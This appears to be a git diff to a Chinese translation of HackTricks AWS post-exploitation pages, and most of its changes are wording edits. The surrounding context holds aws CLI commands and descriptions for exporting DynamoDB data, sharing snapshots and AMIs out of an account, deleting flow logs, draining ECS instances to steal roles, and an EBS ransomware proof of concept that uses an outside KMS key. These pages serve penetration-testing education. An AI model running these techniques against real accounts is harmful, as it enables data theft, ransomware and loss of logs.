> [!WARNING] -> 现在攻击者将能够从他的机器上使用令牌,列出它拥有的所有权限,并比直接使用CodeBuild服务更容易地(滥用)它。 +> 现在攻击者将能够从他的机器上使用令牌,列出它拥有的所有权限,并且比直接使用CodeBuild服务更容易(滥用)。 {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md index 405179302..a898b24b2 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md @@ -10,7 +10,7 @@ ### 启用 / 禁用控制 -为了进一步利用一个账户,您可能需要禁用/启用 Control Tower 控制: +要进一步利用一个账户,您可能需要禁用/启用 Control Tower 控制: ```bash aws controltower disable-control --control-identifier --target-identifier aws controltower enable-control --control-identifier --target-identifier diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md index f1707135a..9c840101d 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md @@ -8,7 +8,7 @@ 勒索软件攻击可以通过加密尽可能多的 EBS 卷,然后删除当前的 EC2 实例、EBS 卷和快照来执行。为了自动化这一恶意活动,可以使用 Amazon DLM,使用来自另一个 AWS 账户的 KMS 密钥加密快照,并将加密的快照转移到不同的账户。或者,他们可能会将未加密的快照转移到他们管理的账户,然后在那里进行加密。尽管直接加密现有的 EBS 卷或快照并不简单,但可以通过创建新的卷或快照来实现。 -首先,将使用一个命令收集卷的信息,例如实例 ID、卷 ID、加密状态、附加状态和卷类型。 +首先,可以使用命令收集卷的信息,例如实例 ID、卷 ID、加密状态、附加状态和卷类型。 `aws ec2 describe-volumes` @@ -16,7 +16,7 @@ ```bash aws dlm create-lifecycle-policy --description "My first policy" --state ENABLED --execution-role-arn arn:aws:iam::12345678910:role/AWSDataLifecycleManagerDefaultRole --policy-details file://policyDetails.json ``` -可以在这里看到政策文档的模板: +可以在这里看到政策文件的模板: ```bash { "PolicyType": "EBS_SNAPSHOT_MANAGEMENT", diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md index 7962b57ee..21573b963 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md @@ -43,7 +43,7 @@ aws dynamodb batch-get-item \ {{#endtab }} {{#endtabs }} -**潜在影响:** 通过在表中定位敏感信息进行间接权限提升 +**潜在影响:** 通过在表中定位敏感信息间接提升权限 ### `dynamodb:GetItem` @@ -75,11 +75,11 @@ aws dynamodb transact-get-items \ } ] ``` -**潜在影响:** 通过定位表中的敏感信息进行间接权限提升 +**潜在影响:** 通过在表中定位敏感信息间接提升权限 ### `dynamodb:Query` -**与之前的权限类似,** 这项权限允许潜在攻击者根据要检索的条目的主键从仅一个表中读取值。它允许使用[比较子集](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html),但唯一允许与主键(必须出现)进行的比较是 "EQ",因此您无法使用比较在请求中获取整个数据库。 +**与之前的权限类似,** 这项权限允许潜在攻击者根据要检索的条目的主键从仅一个表中读取值。它允许使用 [子集比较](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html),但唯一允许与主键(必须出现)进行的比较是 "EQ",因此您无法使用比较在请求中获取整个数据库。 {{#tabs }} {{#tab name="json file" }} @@ -107,7 +107,7 @@ aws dynamodb query \ {{#endtab }} {{#endtabs }} -**潜在影响:** 通过定位表中的敏感信息进行间接权限提升 +**潜在影响:** 通过在表中定位敏感信息间接提升权限 ### `dynamodb:Scan` @@ -119,7 +119,7 @@ aws dynamodb scan --table-name #Get data inside the table ### `dynamodb:PartiQLSelect` -您可以使用此权限来**轻松导出整个表**。 +您可以使用此权限**轻松导出整个表**。 ```bash aws dynamodb execute-statement \ --statement "SELECT * FROM ProductCatalog" @@ -144,7 +144,7 @@ aws dynamodb export-table-to-point-in-time \ --export-time \ --region ``` -注意,要使其工作,表需要启用时间点恢复,你可以通过以下方式检查表是否启用: +请注意,要使其正常工作,表需要启用时间点恢复,您可以通过以下方式检查表是否启用: ```bash aws dynamodb describe-continuous-backups \ --table-name @@ -155,22 +155,22 @@ aws dynamodb update-continuous-backups \ --table-name \ --point-in-time-recovery-specification PointInTimeRecoveryEnabled=true ``` -**潜在影响:** 通过在表中定位敏感信息进行间接权限提升 +**潜在影响:** 通过在表中定位敏感信息间接提升权限 ### `dynamodb:CreateTable`, `dynamodb:RestoreTableFromBackup`, (`dynamodb:CreateBackup)` -拥有这些权限后,攻击者将能够**从备份中创建新表**(甚至可以创建备份,然后在不同的表中恢复它)。然后,凭借必要的权限,他将能够检查**信息**,这些信息**可能不再在生产**表中。 +拥有这些权限的攻击者将能够**从备份中创建新表**(甚至可以创建备份,然后在不同的表中恢复它)。然后,凭借必要的权限,他将能够检查**备份中的信息**,这些信息**可能不再在生产**表中。 ```bash aws dynamodb restore-table-from-backup \ --backup-arn \ --target-table-name \ --region ``` -**潜在影响:** 通过定位表备份中的敏感信息进行间接权限提升 +**潜在影响:** 通过在表备份中定位敏感信息间接提升权限 ### `dynamodb:PutItem` -此权限允许用户**向表中添加新项或用新项替换现有项**。如果具有相同主键的项已经存在,**整个项将被新项替换**。如果主键不存在,将**创建**一个具有指定主键的新项。 +此权限允许用户将**新项目添加到表中或用新项目替换现有项目**。如果具有相同主键的项目已经存在,**整个项目将被新项目替换**。如果主键不存在,将**创建**一个具有指定主键的新项目。 {{#tabs }} {{#tab name="XSS Example" }} @@ -206,7 +206,7 @@ aws dynamodb put-item \ ### `dynamodb:UpdateItem` -此权限允许用户**修改项目的现有属性或向项目添加新属性**。它并**不替换**整个项目;它仅更新指定的属性。如果主键在表中不存在,则该操作将**创建一个新项目**,并使用指定的主键设置更新表达式中指定的属性。 +此权限允许用户**修改项目的现有属性或向项目添加新属性**。它**不会替换**整个项目;它只更新指定的属性。如果主键在表中不存在,该操作将**创建一个新项目**,并使用指定的主键设置更新表达式中指定的属性。 {{#tabs }} {{#tab name="XSS Example" }} @@ -262,7 +262,7 @@ aws dynamodb delete-backup \ --backup-arn arn:aws:dynamodb:::table/TargetTable/backup/BACKUP_ID \ --region ``` -**潜在影响**:数据丢失以及在灾难恢复场景中无法从备份中恢复。 +**潜在影响**:数据丢失和在灾难恢复场景中无法从备份中恢复。 ### `dynamodb:StreamSpecification`, `dynamodb:UpdateTable`, `dynamodb:DescribeStream`, `dynamodb:GetShardIterator`, `dynamodb:GetRecords` @@ -278,7 +278,7 @@ bashCopy codeaws dynamodb update-table \ --stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \ --region ``` -2. 描述获取 ARN 和其他详细信息的流: +2. 描述获取 ARN 和其他细节的流: ```bash bashCopy codeaws dynamodb describe-stream \ --table-name TargetTable \ @@ -298,6 +298,6 @@ bashCopy codeaws dynamodbstreams get-records \ --shard-iterator \ --region ``` -**潜在影响**:对DynamoDB表更改的实时监控和数据泄露。 +**潜在影响**:对DynamoDB表更改的实时监控和数据泄漏。 {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md index f2068462f..fd680ffd2 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md @@ -12,7 +12,7 @@ ### **恶意 VPC 镜像 -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule` -VPC 流量镜像 **在 VPC 内复制 EC2 实例的入站和出站流量**,无需在实例上安装任何东西。这些复制的流量通常会发送到网络入侵检测系统 (IDS) 进行分析和监控。\ +VPC 流量镜像 **在 VPC 内复制 EC2 实例的入站和出站流量**,无需在实例上安装任何东西。此复制的流量通常会发送到网络入侵检测系统 (IDS) 进行分析和监控。\ 攻击者可以利用这一点捕获所有流量并从中获取敏感信息: 有关更多信息,请查看此页面: @@ -23,7 +23,7 @@ aws-malicious-vpc-mirror.md ### 复制运行实例 -实例通常包含某种敏感信息。有不同的方法可以进入(查看 [EC2 权限提升技巧](../../aws-privilege-escalation/aws-ec2-privesc.md))。然而,检查其内容的另一种方法是 **创建一个 AMI 并从中运行一个新实例(甚至在您自己的账户中)**: +实例通常包含某种敏感信息。有不同的方法可以进入(查看 [EC2 权限提升技巧](../../aws-privilege-escalation/aws-ec2-privesc.md))。然而,检查其内容的另一种方法是 **创建一个 AMI 并从中运行一个新实例(即使在您自己的账户中)**: ```shell # List instances aws ec2 describe-images @@ -83,7 +83,7 @@ aws ec2 authorize-security-group-ingress --group-id --protocol tcp --por 可以运行一个 EC2 实例并将其注册为用于运行 ECS 实例,然后窃取 ECS 实例的数据。 -有关更多信息,请查看[**此处**](../../aws-privilege-escalation/aws-ec2-privesc.md#privesc-to-ecs)。 +对于 [**更多信息请查看此处**](../../aws-privilege-escalation/aws-ec2-privesc.md#privesc-to-ecs)。 ### Remove VPC flow logs ```bash @@ -95,19 +95,18 @@ aws ec2 delete-flow-logs --flow-log-ids --region - `ssm:StartSession` -除了命令执行,SSM 还允许流量隧道,这可以被滥用以从由于安全组或 NACL 而没有网络访问的 EC2 实例进行转发。 -其中一个有用的场景是从 [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) 转发到私有 EKS 集群。 +除了命令执行,SSM 还允许流量隧道,这可以被滥用以从由于安全组或 NACL 而没有网络访问的 EC2 实例进行转发。一个有用的场景是从 [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) 转发到私有 EKS 集群。 -> 为了开始会话,您需要安装 SessionManagerPlugin: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html +> 要开始会话,您需要安装 SessionManagerPlugin: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html -1. 在您的机器上安装 SessionManagerPlugin -2. 使用以下命令登录到 Bastion EC2: +1. 在您的机器上安装 SessionManagerPlugin +2. 使用以下命令登录到 Bastion EC2: ```shell aws ssm start-session --target "$INSTANCE_ID" ``` 3. 使用 [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#abusing-ssrf-in-aws-ec2-environment) 脚本获取 Bastion EC2 AWS 临时凭证 -4. 将凭证转移到您自己的机器中的 `$HOME/.aws/credentials` 文件,作为 `[bastion-ec2]` 配置文件 -5. 以 Bastion EC2 身份登录 EKS: +4. 将凭证转移到您自己的机器,存储在 `$HOME/.aws/credentials` 文件中,作为 `[bastion-ec2]` 配置 +5. 作为 Bastion EC2 登录 EKS: ```shell aws eks update-kubeconfig --profile bastion-ec2 --region --name ``` @@ -120,11 +119,11 @@ sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortFo ```shell kubectl get pods --insecure-skip-tls-verify ``` -注意,SSL 连接将失败,除非您设置 `--insecure-skip-tls-verify` 标志(或其在 K8s 审计工具中的等效项)。由于流量通过安全的 AWS SSM 隧道进行隧道传输,您可以免受任何类型的中间人攻击。 +请注意,SSL 连接将失败,除非您设置 `--insecure-skip-tls-verify` 标志(或其在 K8s 审计工具中的等效项)。由于流量通过安全的 AWS SSM 隧道进行隧道传输,您可以免受任何类型的中间人攻击。 最后,这种技术并不特定于攻击私有 EKS 集群。您可以设置任意域和端口,以便转向任何其他 AWS 服务或自定义应用程序。 -### 分享 AMI +### Share AMI ```bash aws ec2 modify-image-attribute --image-id --launch-permission "Add=[{UserId=}]" --region ``` @@ -138,9 +137,9 @@ aws ec2 modify-snapshot-attribute --snapshot-id --create-volume-pe ``` ### EBS Ransomware PoC -一个类似于在 S3 后渗透笔记中演示的勒索软件演示的概念验证。KMS 应该被重新命名为 RMS(勒索软件管理服务),因为使用它加密各种 AWS 服务是如此简单。 +一个类似于在 S3 后渗透笔记中演示的勒索软件演示的概念验证。KMS 应该被重命名为 RMS(勒索软件管理服务),因为使用它加密各种 AWS 服务是如此简单。 -首先,从一个“攻击者”的 AWS 账户中,在 KMS 中创建一个客户管理的密钥。在这个例子中,我们将让 AWS 为我管理密钥数据,但在现实场景中,恶意行为者会将密钥数据保留在 AWS 控制之外。更改密钥策略以允许任何 AWS 账户主体使用该密钥。对于这个密钥策略,账户的名称是 'AttackSim',允许所有访问的策略规则称为 'Outside Encryption'。 +首先,从一个“攻击者”的 AWS 账户中,在 KMS 中创建一个客户管理密钥。在这个例子中,我们将让 AWS 为我管理密钥数据,但在现实场景中,恶意行为者会将密钥数据保留在 AWS 控制之外。更改密钥策略以允许任何 AWS 账户主体使用该密钥。对于这个密钥策略,账户的名称是 'AttackSim',允许所有访问的策略规则称为 'Outside Encryption'。 ``` { "Version": "2012-10-17", @@ -232,7 +231,7 @@ aws ec2 modify-snapshot-attribute --snapshot-id --create-volume-pe ] } ``` -密钥策略规则需要启用以下内容,以便能够使用它来加密 EBS 卷: +密钥策略规则需要启用以下功能,以便能够使用它来加密 EBS 卷: - `kms:CreateGrant` - `kms:Decrypt` @@ -244,7 +243,7 @@ aws ec2 modify-snapshot-attribute --snapshot-id --create-volume-pe ![Pasted image 20231231172655](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/5b9a96cd-6006-4965-84a4-b090456f90c6) ![Pasted image 20231231172734](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4294289c-0dbd-4eb6-a484-60b4e4266459) -类似于 S3 勒索软件的例子。这次攻击将使用快照创建附加 EBS 卷的副本,使用“攻击者”账户中的公开可用密钥加密新的 EBS 卷,然后从 EC2 实例中分离并删除原始 EBS 卷,最后删除用于创建新加密 EBS 卷的快照。 ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e) +类似于 S3 勒索软件的例子。这次攻击将使用快照创建附加 EBS 卷的副本,使用“攻击者”账户中的公开可用密钥加密新的 EBS 卷,然后从 EC2 实例中分离原始 EBS 卷并删除它们,最后删除用于创建新加密 EBS 卷的快照。 ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e) 这导致账户中只剩下加密的 EBS 卷。 @@ -325,7 +324,7 @@ aws ec2 modify-snapshot-attribute --snapshot-id --create-volume-pe ] } ``` -等待新设置的密钥策略传播。然后返回到“受害者”账户,尝试附加一个新加密的EBS卷。你会发现你可以附加该卷。 +稍等片刻,让新设置的密钥策略传播。然后返回到“受害者”账户,尝试附加一个新加密的EBS卷。你会发现你可以附加该卷。 ![Pasted image 20231231174131](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/ba9e5340-7020-4af9-95cc-0e02267ced47) ![Pasted image 20231231174258](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/6c3215ec-4161-44e2-b1c1-e32f43ad0fa4) @@ -333,7 +332,7 @@ aws ec2 modify-snapshot-attribute --snapshot-id --create-volume-pe ![Pasted image 20231231174322](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/73456c22-0828-4da9-a737-e4d90fa3f514) ![Pasted image 20231231174352](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4d83a90e-6fa9-4003-b904-a4ba7f5944d0) -这是使用的python脚本。它获取“受害者”账户的AWS凭证和用于加密的公开可用AWS ARN值。该脚本将对目标AWS账户中所有EC2实例附加的所有可用EBS卷进行加密副本,然后停止每个EC2实例,分离原始EBS卷,删除它们,最后删除在此过程中使用的所有快照。这将只在目标“受害者”账户中留下加密的EBS卷。仅在测试环境中使用此脚本,它是破坏性的,并将删除所有原始EBS卷。你可以使用所使用的KMS密钥恢复它们,并通过快照将它们恢复到原始状态,但我只是想让你意识到,这在最终是一个勒索软件的概念验证。 +这是使用的python脚本。它获取“受害者”账户的AWS凭证和一个公开可用的AWS ARN值,用于加密的密钥。该脚本将对目标AWS账户中所有附加到所有EC2实例的可用EBS卷进行加密副本,然后停止每个EC2实例,分离原始EBS卷,删除它们,最后删除在此过程中使用的所有快照。这将只在目标“受害者”账户中留下加密的EBS卷。仅在测试环境中使用此脚本,它是破坏性的,并将删除所有原始EBS卷。你可以使用所用的KMS密钥恢复它们,并通过快照将它们恢复到原始状态,但我只是想让你意识到,这最终是一个勒索软件的概念验证。 ``` import boto3 import argparse diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md index 95a90a179..a7745cde2 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md @@ -2,7 +2,7 @@ {{#include ../../../../banners/hacktricks-training.md}} -## 本地检查快照 +## 在本地检查快照 ```bash # Install dependencies pip install 'dsnap[cli]' @@ -54,16 +54,16 @@ aws ec2 delete-snapshot --snapshot-id snap-027da41be451109da --region us-east-2 ```bash aws ec2 create-volume --availability-zone us-west-2a --region us-west-2 --snapshot-id snap-0b49342abd1bdcb89 ``` -**在您控制的 EC2 虚拟机中挂载它**(它必须与备份的副本位于同一区域): +**在您控制下的 EC2 虚拟机中挂载它**(它必须与备份的副本位于同一区域): -步骤 1:通过前往 EC2 –> 卷,创建一个您喜欢的大小和类型的新卷。 +步骤 1:通过前往 EC2 –> Volumes 创建一个您喜欢大小和类型的新卷。 要执行此操作,请遵循以下命令: - 创建一个 EBS 卷以附加到 EC2 实例。 - 确保 EBS 卷和实例位于同一区域。 -步骤 2:通过右键单击创建的卷,选择“附加卷”选项。 +步骤 2:通过右键单击创建的卷选择“附加卷”选项。 步骤 3:从实例文本框中选择实例。 @@ -71,11 +71,11 @@ aws ec2 create-volume --availability-zone us-west-2a --region us-west-2 --snaps - 附加 EBS 卷。 -步骤 4:登录到 EC2 实例,并使用命令 `lsblk` 列出可用磁盘。 +步骤 4:登录到 EC2 实例并使用命令 `lsblk` 列出可用磁盘。 步骤 5:使用命令 `sudo file -s /dev/xvdf` 检查卷是否有任何数据。 -如果上述命令的输出显示 "/dev/xvdf: data",则表示卷是空的。 +如果上述命令的输出显示 "/dev/xvdf: data",则表示该卷为空。 步骤 6:使用命令 `sudo mkfs -t ext4 /dev/xvdf` 将卷格式化为 ext4 文件系统。或者,您也可以使用命令 `sudo mkfs -t xfs /dev/xvdf` 使用 xfs 格式。请注意,您应该使用 ext4 或 xfs 中的任意一种。 @@ -122,7 +122,7 @@ ls /mnt ``` ## Shadow Copy -任何拥有 **`EC2:CreateSnapshot`** 权限的 AWS 用户都可以通过创建 **域控制器的快照**,将其挂载到他们控制的实例上,并 **导出 NTDS.dit 和 SYSTEM** 注册表蜂巢文件,以窃取所有域用户的哈希值,供 Impacket 的 secretsdump 项目使用。 +任何拥有 **`EC2:CreateSnapshot`** 权限的 AWS 用户都可以通过创建 **域控制器的快照**,将其挂载到他们控制的实例上,并 **导出 NTDS.dit 和 SYSTEM** 注册表蜂巢文件,从而窃取所有域用户的哈希值,以供 Impacket 的 secretsdump 项目使用。 您可以使用此工具来自动化攻击:[https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy),或者在创建快照后使用之前的技术之一。 diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md index 765c1d31e..f7fa544f9 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md @@ -1,15 +1,15 @@ -# AWS - Malicious VPC Mirror +# AWS - 恶意 VPC 镜像 {{#include ../../../../banners/hacktricks-training.md}} -**Check** [**https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws**](https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws) **for further details of the attack!** +**查看** [**https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws**](https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws) **以获取攻击的更多细节!** -在云环境中进行被动网络检查一直是**具有挑战性的**,需要对网络流量进行重大配置更改。然而,AWS引入了一项名为“**VPC流量镜像**”的新功能,以简化此过程。通过VPC流量镜像,可以**复制**VPC内的网络流量,而无需在实例上安装任何软件。这些复制的流量可以发送到网络入侵检测系统(IDS)进行**分析**。 +在云环境中被动网络检查一直是**具有挑战性的**,需要进行重大配置更改以监控网络流量。然而,AWS 引入了一项名为“**VPC 流量镜像**”的新功能,以简化此过程。通过 VPC 流量镜像,可以在 VPC 内部**复制**网络流量,而无需在实例上安装任何软件。这些复制的流量可以发送到网络入侵检测系统(IDS)进行**分析**。 -为了满足**自动部署**镜像和提取VPC流量所需基础设施的需求,我们开发了一个名为“**malmirror**”的概念验证脚本。该脚本可以与**被攻陷的AWS凭证**一起使用,以在目标VPC中为所有支持的EC2实例设置镜像。需要注意的是,VPC流量镜像仅支持由AWS Nitro系统提供支持的EC2实例,并且VPC镜像目标必须与被镜像主机位于同一VPC中。 +为了满足**自动部署**镜像和提取 VPC 流量所需基础设施的需求,我们开发了一个名为“**malmirror**”的概念验证脚本。该脚本可以与**被攻陷的 AWS 凭证**一起使用,以在目标 VPC 中为所有支持的 EC2 实例设置镜像。需要注意的是,VPC 流量镜像仅支持由 AWS Nitro 系统提供支持的 EC2 实例,并且 VPC 镜像目标必须与被镜像主机位于同一 VPC 中。 -恶意VPC流量镜像的**影响**可能是显著的,因为它允许攻击者访问在VPC中传输的**敏感信息**。考虑到VPC中存在**明文流量**,这种恶意镜像的**可能性**很高。许多公司在其内部网络中使用明文协议以**性能原因**,假设传统的中间人攻击是不可能的。 +恶意 VPC 流量镜像的**影响**可能是显著的,因为它允许攻击者访问在 VPC 内传输的**敏感信息**。考虑到 VPC 中存在**明文流量**,这种恶意镜像的**可能性**很高。许多公司在其内部网络中使用明文协议出于**性能原因**,假设传统的中间人攻击是不可能的。 -有关更多信息和访问[**malmirror脚本**](https://github.com/RhinoSecurityLabs/Cloud-Security-Research/tree/master/AWS/malmirror),可以在我们的**GitHub存储库**中找到。该脚本自动化并简化了该过程,使其对攻击性研究目的**快速、简单且可重复**。 +有关更多信息和访问 [**malmirror 脚本**](https://github.com/RhinoSecurityLabs/Cloud-Security-Research/tree/master/AWS/malmirror),可以在我们的**GitHub 仓库**中找到。该脚本自动化并简化了该过程,使其对攻击性研究目的**快速、简单且可重复**。 {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md index 54a2f7f6d..b11c948e6 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md @@ -13,7 +13,7 @@ ### 主机 IAM 角色 在 ECS 中,**IAM 角色可以分配给在容器内运行的任务**。**如果**任务在 **EC2** 实例内运行,**EC2 实例**将附加 **另一个 IAM** 角色。\ -这意味着如果你成功 **攻陷** 一个 ECS 实例,你可能会 **获得与 ECR 和 EC2 实例相关联的 IAM 角色**。有关如何获取这些凭据的更多信息,请查看: +这意味着如果你成功 **攻陷** 一个 ECS 实例,你可能会 **获取与 ECR 和 EC2 实例相关联的 IAM 角色**。有关如何获取这些凭据的更多信息,请查看: {{#ref}} https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf @@ -24,21 +24,21 @@ https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/clou ### 提权到节点以窃取其他容器的凭据和秘密 -此外,EC2 使用 docker 来运行 ECs 任务,因此如果你能够逃逸到节点或 **访问 docker 套接字**,你可以 **检查** 哪些 **其他容器** 正在运行,甚至可以 **进入它们** 并 **窃取** 附加的 IAM 角色。 +此外,EC2 使用 docker 来运行 ECs 任务,因此如果你能够逃逸到节点或 **访问 docker 套接字**,你可以 **检查** 运行的 **其他容器**,甚至 **进入它们** 并 **窃取它们附加的 IAM 角色**。 -#### 使容器在当前主机上运行 +#### 在当前主机上运行容器 -此外,**EC2 实例角色**通常会拥有足够的 **权限** 来 **更新集群内作为节点使用的 EC2 实例的容器实例状态**。攻击者可以将 **实例的状态修改为 DRAINING**,然后 ECS 将 **从中移除所有任务**,而作为 **REPLICA** 运行的任务将 **在不同的实例中运行,** 可能在 **攻击者的实例** 内,这样他就可以 **窃取它们的 IAM 角色** 和潜在的敏感信息。 +此外,**EC2 实例角色**通常会有足够的 **权限** 来 **更新作为集群内节点使用的 EC2 实例的容器实例状态**。攻击者可以将 **实例的状态修改为 DRAINING**,然后 ECS 将 **从中移除所有任务**,而作为 **REPLICA** 运行的任务将 **在不同的实例中运行,** 可能在 **攻击者的实例内**,这样他就可以 **窃取它们的 IAM 角色** 和潜在的敏感信息。 ```bash aws ecs update-container-instances-state \ --cluster --status DRAINING --container-instances ``` -相同的技术可以通过 **从集群中注销 EC2 实例** 来实现。这可能不那么隐蔽,但它将 **强制任务在其他实例中运行:** +相同的技术可以通过**将EC2实例从集群中注销**来实现。这可能不那么隐蔽,但它将**强制任务在其他实例中运行:** ```bash aws ecs deregister-container-instance \ --cluster --container-instance --force ``` -一种强制重新执行任务的最终技术是通过指示ECS **任务或容器已停止**。有3个潜在的API可以做到这一点: +强制重新执行任务的最终技术是通过指示ECS **任务或容器已停止**。有3个潜在的API可以做到这一点: ```bash # Needs: ecs:SubmitTaskStateChange aws ecs submit-task-state-change --cluster \ diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md index 466275cf4..0ea134054 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md @@ -12,7 +12,7 @@ ### `elasticfilesystem:DeleteMountTarget` -攻击者可以删除挂载目标,可能会干扰依赖该挂载目标的应用程序和用户对 EFS 文件系统的访问。 +攻击者可以删除挂载目标,可能会中断依赖该挂载目标的应用程序和用户对 EFS 文件系统的访问。 ```sql aws efs delete-mount-target --mount-target-id ``` @@ -20,7 +20,7 @@ aws efs delete-mount-target --mount-target-id ### `elasticfilesystem:DeleteFileSystem` -攻击者可以删除整个 EFS 文件系统,这可能导致数据丢失并影响依赖该文件系统的应用程序。 +攻击者可能会删除整个 EFS 文件系统,这可能导致数据丢失并影响依赖于该文件系统的应用程序。 ```perl aws efs delete-file-system --file-system-id ``` @@ -36,7 +36,7 @@ aws efs update-file-system --file-system-id --provisioned-throughput-in- ### `elasticfilesystem:CreateAccessPoint` 和 `elasticfilesystem:DeleteAccessPoint` -攻击者可以创建或删除访问点,改变访问控制,并可能授予自己对文件系统的未经授权访问。 +攻击者可以创建或删除访问点,改变访问控制,并可能授予自己对文件系统的未经授权的访问权限。 ```arduino aws efs create-access-point --file-system-id --posix-user --root-directory aws efs delete-access-point --access-point-id diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md index 54d0c9047..ef7fd4f02 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md @@ -23,7 +23,7 @@ aws eks update-kubeconfig --name aws-eks-dev ``` - 不是那么简单的方法: -如果你可以 **获取一个令牌** 使用 **`aws eks get-token --name `** 但你没有权限获取集群信息 (describeCluster),你可以 **准备你自己的 `~/.kube/config`**。然而,拥有令牌后,你仍然需要 **连接的 URL 端点** (如果你设法从一个 pod 获取了 JWT 令牌,请阅读 [这里](aws-eks-post-exploitation.md#get-api-server-endpoint-from-a-jwt-token)) 和 **集群的名称**。 +如果你可以 **获取一个令牌** 使用 **`aws eks get-token --name `** 但你没有权限获取集群信息 (describeCluster),你可以 **准备你自己的 `~/.kube/config`**。然而,拥有令牌后,你仍然需要 **连接的 url 